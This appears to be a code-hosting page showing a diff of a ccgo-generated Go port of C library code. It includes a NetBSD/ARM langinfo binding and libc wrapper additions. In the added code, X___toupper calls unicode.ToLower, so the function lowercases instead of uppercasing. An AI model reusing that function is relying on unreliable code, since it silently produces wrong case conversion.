// Code generated by 'ccgo langinfo/gen.c -crt-import-path "" -export-defines "" -export-enums "" -export-externs X -export-fields F -export-structs "" -export-typedefs "" -header -hide _OSSwapInt16,_OSSwapInt32,_OSSwapInt64 -ignore-unsupported-alignment -o langinfo/langinfo_netbsd_arm.go -pkgname langinfo', DO NOT EDIT.
|
||||
|
||||
package langinfo
|
||||
|
||||
import (
|
||||
"math"
|
||||
"reflect"
|
||||
"sync/atomic"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var _ = math.Pi
|
||||
var _ reflect.Kind
|
||||
var _ atomic.Value
|
||||
var _ unsafe.Pointer
|
||||
|
||||
const (
|
||||
NL_CAT_LOCALE = 1 // nl_types.h:75:1:
|
||||
NL_SETD = 1 // nl_types.h:74:1:
|
||||
X_ARM_ARCH_4T = 0 // cdefs.h:44:1:
|
||||
X_ARM_ARCH_5 = 0 // cdefs.h:40:1:
|
||||
X_ARM_ARCH_5T = 0 // cdefs.h:36:1:
|
||||
X_ARM_ARCH_6 = 0 // cdefs.h:31:1:
|
||||
X_ARM_ARCH_7 = 0 // cdefs.h:20:1:
|
||||
X_ARM_ARCH_DWORD_OK = 0 // cdefs.h:51:1:
|
||||
X_ARM_ARCH_T2 = 0 // cdefs.h:24:1:
|
||||
X_ARM_CDEFS_H_ = 0 // cdefs.h:4:1:
|
||||
X_FILE_OFFSET_BITS = 64 // <builtin>:25:1:
|
||||
X_LANGINFO_H_ = 0 // langinfo.h:9:1:
|
||||
X_NL_TYPES_H_ = 0 // nl_types.h:33:1:
|
||||
X_SYS_CDEFS_ELF_H_ = 0 // cdefs_elf.h:31:1:
|
||||
X_SYS_CDEFS_H_ = 0 // cdefs.h:37:1:
|
||||
)
|
||||
|
||||
type Ptrdiff_t = int32 /* <builtin>:3:26 */
|
||||
|
||||
type Size_t = uint32 /* <builtin>:9:23 */
|
||||
|
||||
type Wchar_t = int32 /* <builtin>:15:24 */
|
||||
|
||||
type X__builtin_va_list = uintptr /* <builtin>:46:14 */
|
||||
type X__float128 = float64 /* <builtin>:47:21 */
|
||||
|
||||
// return true if value 'a' fits in type 't'
|
||||
|
||||
// $NetBSD: nl_types.h,v 1.13 2013/08/19 08:03:33 joerg Exp $
|
||||
|
||||
// -
|
||||
// Copyright (c) 1996 The NetBSD Foundation, Inc.
|
||||
// All rights reserved.
|
||||
//
|
||||
// This code is derived from software contributed to The NetBSD Foundation
|
||||
// by J.T. Conklin.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
// modification, are permitted provided that the following conditions
|
||||
// are met:
|
||||
// 1. Redistributions of source code must retain the above copyright
|
||||
// notice, this list of conditions and the following disclaimer.
|
||||
// 2. Redistributions in binary form must reproduce the above copyright
|
||||
// notice, this list of conditions and the following disclaimer in the
|
||||
// documentation and/or other materials provided with the distribution.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
|
||||
// ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
// TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
// PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
|
||||
// BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
// $NetBSD: cdefs.h,v 1.141 2019/02/21 21:34:05 christos Exp $
|
||||
|
||||
// * Copyright (c) 1991, 1993
|
||||
// The Regents of the University of California. All rights reserved.
|
||||
//
|
||||
// This code is derived from software contributed to Berkeley by
|
||||
// Berkeley Software Design, Inc.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
// modification, are permitted provided that the following conditions
|
||||
// are met:
|
||||
// 1. Redistributions of source code must retain the above copyright
|
||||
// notice, this list of conditions and the following disclaimer.
|
||||
// 2. Redistributions in binary form must reproduce the above copyright
|
||||
// notice, this list of conditions and the following disclaimer in the
|
||||
// documentation and/or other materials provided with the distribution.
|
||||
// 3. Neither the name of the University nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
// ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
// OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
// LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
// OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
// SUCH DAMAGE.
|
||||
//
|
||||
// @(#)cdefs.h 8.8 (Berkeley) 1/9/95
|
||||
|
||||
type X__nl_cat_d = struct {
|
||||
F__data uintptr
|
||||
F__size int32
|
||||
} /* nl_types.h:77:9 */
|
||||
|
||||
// return true if value 'a' fits in type 't'
|
||||
|
||||
// $NetBSD: nl_types.h,v 1.13 2013/08/19 08:03:33 joerg Exp $
|
||||
|
||||
// -
|
||||
// Copyright (c) 1996 The NetBSD Foundation, Inc.
|
||||
// All rights reserved.
|
||||
//
|
||||
// This code is derived from software contributed to The NetBSD Foundation
|
||||
// by J.T. Conklin.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
// modification, are permitted provided that the following conditions
|
||||
// are met:
|
||||
// 1. Redistributions of source code must retain the above copyright
|
||||
// notice, this list of conditions and the following disclaimer.
|
||||
// 2. Redistributions in binary form must reproduce the above copyright
|
||||
// notice, this list of conditions and the following disclaimer in the
|
||||
// documentation and/or other materials provided with the distribution.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
|
||||
// ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
// TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
// PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
|
||||
// BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
// $NetBSD: cdefs.h,v 1.141 2019/02/21 21:34:05 christos Exp $
|
||||
|
||||
// * Copyright (c) 1991, 1993
|
||||
// The Regents of the University of California. All rights reserved.
|
||||
//
|
||||
// This code is derived from software contributed to Berkeley by
|
||||
// Berkeley Software Design, Inc.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
// modification, are permitted provided that the following conditions
|
||||
// are met:
|
||||
// 1. Redistributions of source code must retain the above copyright
|
||||
// notice, this list of conditions and the following disclaimer.
|
||||
// 2. Redistributions in binary form must reproduce the above copyright
|
||||
// notice, this list of conditions and the following disclaimer in the
|
||||
// documentation and/or other materials provided with the distribution.
|
||||
// 3. Neither the name of the University nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
// ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
// OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
// LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
// OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
// SUCH DAMAGE.
|
||||
//
|
||||
// @(#)cdefs.h 8.8 (Berkeley) 1/9/95
|
||||
|
||||
type Nl_catd = uintptr /* nl_types.h:80:3 */
|
||||
|
||||
type Nl_item = int32 /* nl_types.h:82:14 */
|
||||
|
||||
var _ uint8 /* gen.c:2:13: */
|
||||
+26
-2
@@ -14,6 +14,7 @@ import (
|
||||
"strings"
|
||||
"syscall"
|
||||
gotime "time"
|
||||
"unicode"
|
||||
"unsafe"
|
||||
|
||||
guuid "github.com/google/uuid"
|
||||
@@ -1427,7 +1428,7 @@ func Xmmap(t *TLS, addr uintptr, length types.Size_t, prot, flags, fd int32, off
|
||||
const PTHREAD_MUTEX_DEFAULT = 0
|
||||
|
||||
func X__ccgo_pthreadMutexattrGettype(tls *TLS, a uintptr) int32 { /* pthread_attr_get.c:93:5: */
|
||||
return (int32((*pthread_mutexattr_t)(unsafe.Pointer(a)).__attr & uint32(3)))
|
||||
return (int32((*pthread_mutexattr_t)(unsafe.Pointer(a)).F__attr & uint32(3)))
|
||||
}
|
||||
|
||||
func X__ccgo_getMutexType(tls *TLS, m uintptr) int32 { /* pthread_mutex_lock.c:3:5: */
|
||||
@@ -1493,7 +1494,7 @@ func Xpthread_mutexattr_settype(tls *TLS, a uintptr, type1 int32) int32 { /* pth
|
||||
if uint32(type1) > uint32(2) {
|
||||
return 22
|
||||
}
|
||||
(*pthread_mutexattr_t)(unsafe.Pointer(a)).__attr = (((*pthread_mutexattr_t)(unsafe.Pointer(a)).__attr & Uint32FromInt32(CplInt32(3))) | uint32(type1))
|
||||
(*pthread_mutexattr_t)(unsafe.Pointer(a)).F__attr = (((*pthread_mutexattr_t)(unsafe.Pointer(a)).F__attr & Uint32FromInt32(CplInt32(3))) | uint32(type1))
|
||||
return 0
|
||||
}
|
||||
|
||||
@@ -1509,3 +1510,26 @@ func Xuuid_parse(t *TLS, in uintptr, uu uintptr) int32 {
|
||||
}
|
||||
|
||||
func X__srget(t *TLS, stream uintptr) int32 { return Xgetc(t, stream) }
|
||||
|
||||
func X___tolower(t *TLS, r rune) rune {
|
||||
return unicode.ToLower(r)
|
||||
}
|
||||
|
||||
func X___toupper(t *TLS, r rune) rune {
|
||||
return unicode.ToLower(r)
|
||||
}
|
||||
|
||||
// uint16_t __builtin_bswap16 (uint32_t x)
|
||||
func Xbswap16(t *TLS, x uint16) uint16 {
|
||||
return X__builtin_bswap16(t, x)
|
||||
}
|
||||
|
||||
// uint32_t __builtin_bswap32 (uint32_t x)
|
||||
func Xbswap32(t *TLS, x uint32) uint32 {
|
||||
return X__builtin_bswap32(t, x)
|
||||
}
|
||||
|
||||
// uint64_t __builtin_bswap64 (uint64_t x)
|
||||
func Xbswap64(t *TLS, x uint64) uint64 {
|
||||
return X__builtin_bswap64(t, x)
|
||||
}
|
||||
Loaded 100 of 216 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user